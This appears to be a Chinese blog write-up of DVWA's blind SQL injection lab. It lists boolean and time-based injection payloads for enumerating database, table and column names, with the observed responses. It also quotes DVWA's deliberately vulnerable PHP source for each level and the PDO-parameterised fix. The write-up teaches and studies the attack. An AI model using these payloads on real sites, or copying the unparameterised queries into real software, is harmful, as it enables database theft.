【DVWA】SQL Injection(Blid)
SQL Injection(Blind)即SQL盲注,与一般的SQL注入的区别是盲注时攻击者通常无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要高于一般的注入。并且现在实战基本都是盲注。盲注分为三类:基于布尔SQL盲注、基于时间的SQL盲注,基于报错的SQL盲注。
基本思路:
1、先判断是否存在盲注
2、利用二分法逐个字母的猜解出数据库名
3、猜解数据库的表的数量
4、猜解数据库表名
5、猜解表中字段名
6、猜解数据
一、low级别
1、判断盲注类型
输入1
显示User ID exists in the database.
输入'
显示User ID is MISSING from the database.
输入1' and 1=1#
显示User ID exists in the database.
输入1' and 1=2#
显示User ID is MISSING from the database.
不管输入什么总是会回显两种状态,所以可以初步判断这是一个基于布尔类型的SQL注入。
2、猜解数据库名
a~z ascii:97~122
-
猜解数据库名长度为4 payload:
1' and length(database())=4#
-
二分法猜解数据库名payload:
1’ and ascii(substr(database(),1,1))>109# 回显错误(字母m)
1’ and ascii(substr(database(),1,1))>103# 回显错误(字母g)
1’ and ascii(substr(database(),1,1))>100# 回显错误(字母d)
1’ and ascii(substr(database(),1,1))>98# 回显正确(字母b)
1’ and ascii(substr(database(),1,1))>99# 回显正确(字母c)
1’ and ascii(substr(database(),1,1))=100# 回显正确(字母d)
说明数据库名的第一个字母为d
以此类推剩下的字母分别为v、w、a
于是猜解出数据库名为dvwa
3、猜解表名
-
猜解表的数量
知道测试到2,显示正确
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#
所以判断dvwa数据库中表的数量为2
-
猜解表名
上一步得出一共有两张表
然后分别猜解表名
猜解表名之前,先猜解表名长度:
1’ and length((select table_name from information_schema.tables where table_schema=database()))=9# 回显正确
1’ and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=5# 回显正确
由此可知第一张表的表名长度为9,第二个长度为5
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1))>109# 回显错误
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1))>103# 回显错误
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1),1,1))=103# 回显正确(字母g)
所以第一张表的表名的第一个字母为g
以此类推剩下的字母分别为u, e, s, t, b, o, o, k
得出第一张表的表名为guestbook
重复上述过程可得第二张表的表名为users
tips:要注意将substr()中的查询语句带上括号
3、猜解字段名
-
猜解字段数量
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8#
回显正确说明users表中共有8个字段
-
猜解字段名
老规矩先猜解第一个字段名的长度,再依次猜解每个字母,其他字段也一样,就不再赘述。
4、猜解字段值
-
猜解字段值数量
1' and (select count(user) from users)=5#
回显正确说明users字段下有5条数据
-
猜解字段值
先猜解第一个字段值的长度,再逐个字母猜解字段值,其他字段值也一样,就不再赘述。
源码分析:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
//这里并没有做参数化和预处理,也没有严格的过滤
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
没有做参数化和预处理,也没有严格的过滤,所以明显的存在SQL注入漏洞,而且只有’User ID exists in the database.'和’User ID is MISSING from the database.'两种返回结果(去掉了or die而且在函数前加入了@抑制了错误的输出),所以是布尔盲注。
二、Medium级别
1、初步测试
post请求类型,用burp抓包
重放id=1
回显:User ID exists in the database
重放 1 and 1=1
回显:User ID exists in the database

重放1 and 1=2
回显:User ID MISSING from the database.

无论输入什么总是输出两种情况,所以可以初步判断为数字型的布尔盲注。
2、猜解数据库名
-
猜解数据库名长度
payload:
1 and length(select database())=4
回显正确说明数据库名长度为4
-
猜解数据库名
前面步骤省略
1 and ascii(substr(database(),1,1))=100 回显正确(字母d)
说明第一个字母为d
依次测出剩下的字母为vwa
于是得出数据库名为dvwa
3、猜解数据库表名
4、猜解字段名
5、猜解字段值
步骤与上面相仿,这里不再赘述
源码分析:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
//此处使用mysqli_real_escape_string函数将用户输入的特殊字符转义,\x00 \n \r \ ' " \x1a
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
相比于low级别,只是增加了mysqli_real_escape_string()函数对特殊字符进行转义,比较重要的是单双引号,但我们同样可以绕过,比如用十六进制或函数代替双引号加字符串。
基于时间盲注:
- 猜解数据库名长度
1 and if(length(database())=1,sleep(5),1)#
无延迟

1 and if(length(database())=4,sleep(5),1)#
有延迟

所以说明数据库名长度为4
-
猜解数据库名
1 and if(ascii(substr(database(),1,1))=100,sleep(5),1)
有延迟 (字母d)说明数据库名第一个字母为d
依次类推猜解剩下的字母为vwa
则数据库名为dvwa
-
同理可猜解表名、字段名、字段值等
三、high级别
源码分析:
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) ); //这里用sleep函数扰乱了响应时间的规律,迷惑了基于时间盲注的信号
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
这里用sleep函数扰乱了响应时间的规律,迷惑了基于时间盲注的信号。但是我们可以利用回显不同的两种方式进行基于布尔的盲注,一样可以完成暴库。步骤与上面相仿,这里不在赘述。
四、impossible级别
源码分析:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
impossible采用了PDO技术,对用户的输入做了参数化和预处理,而且只有当sql语句的执行结果为1行时才会输出,有效防止了sql注入和脱裤。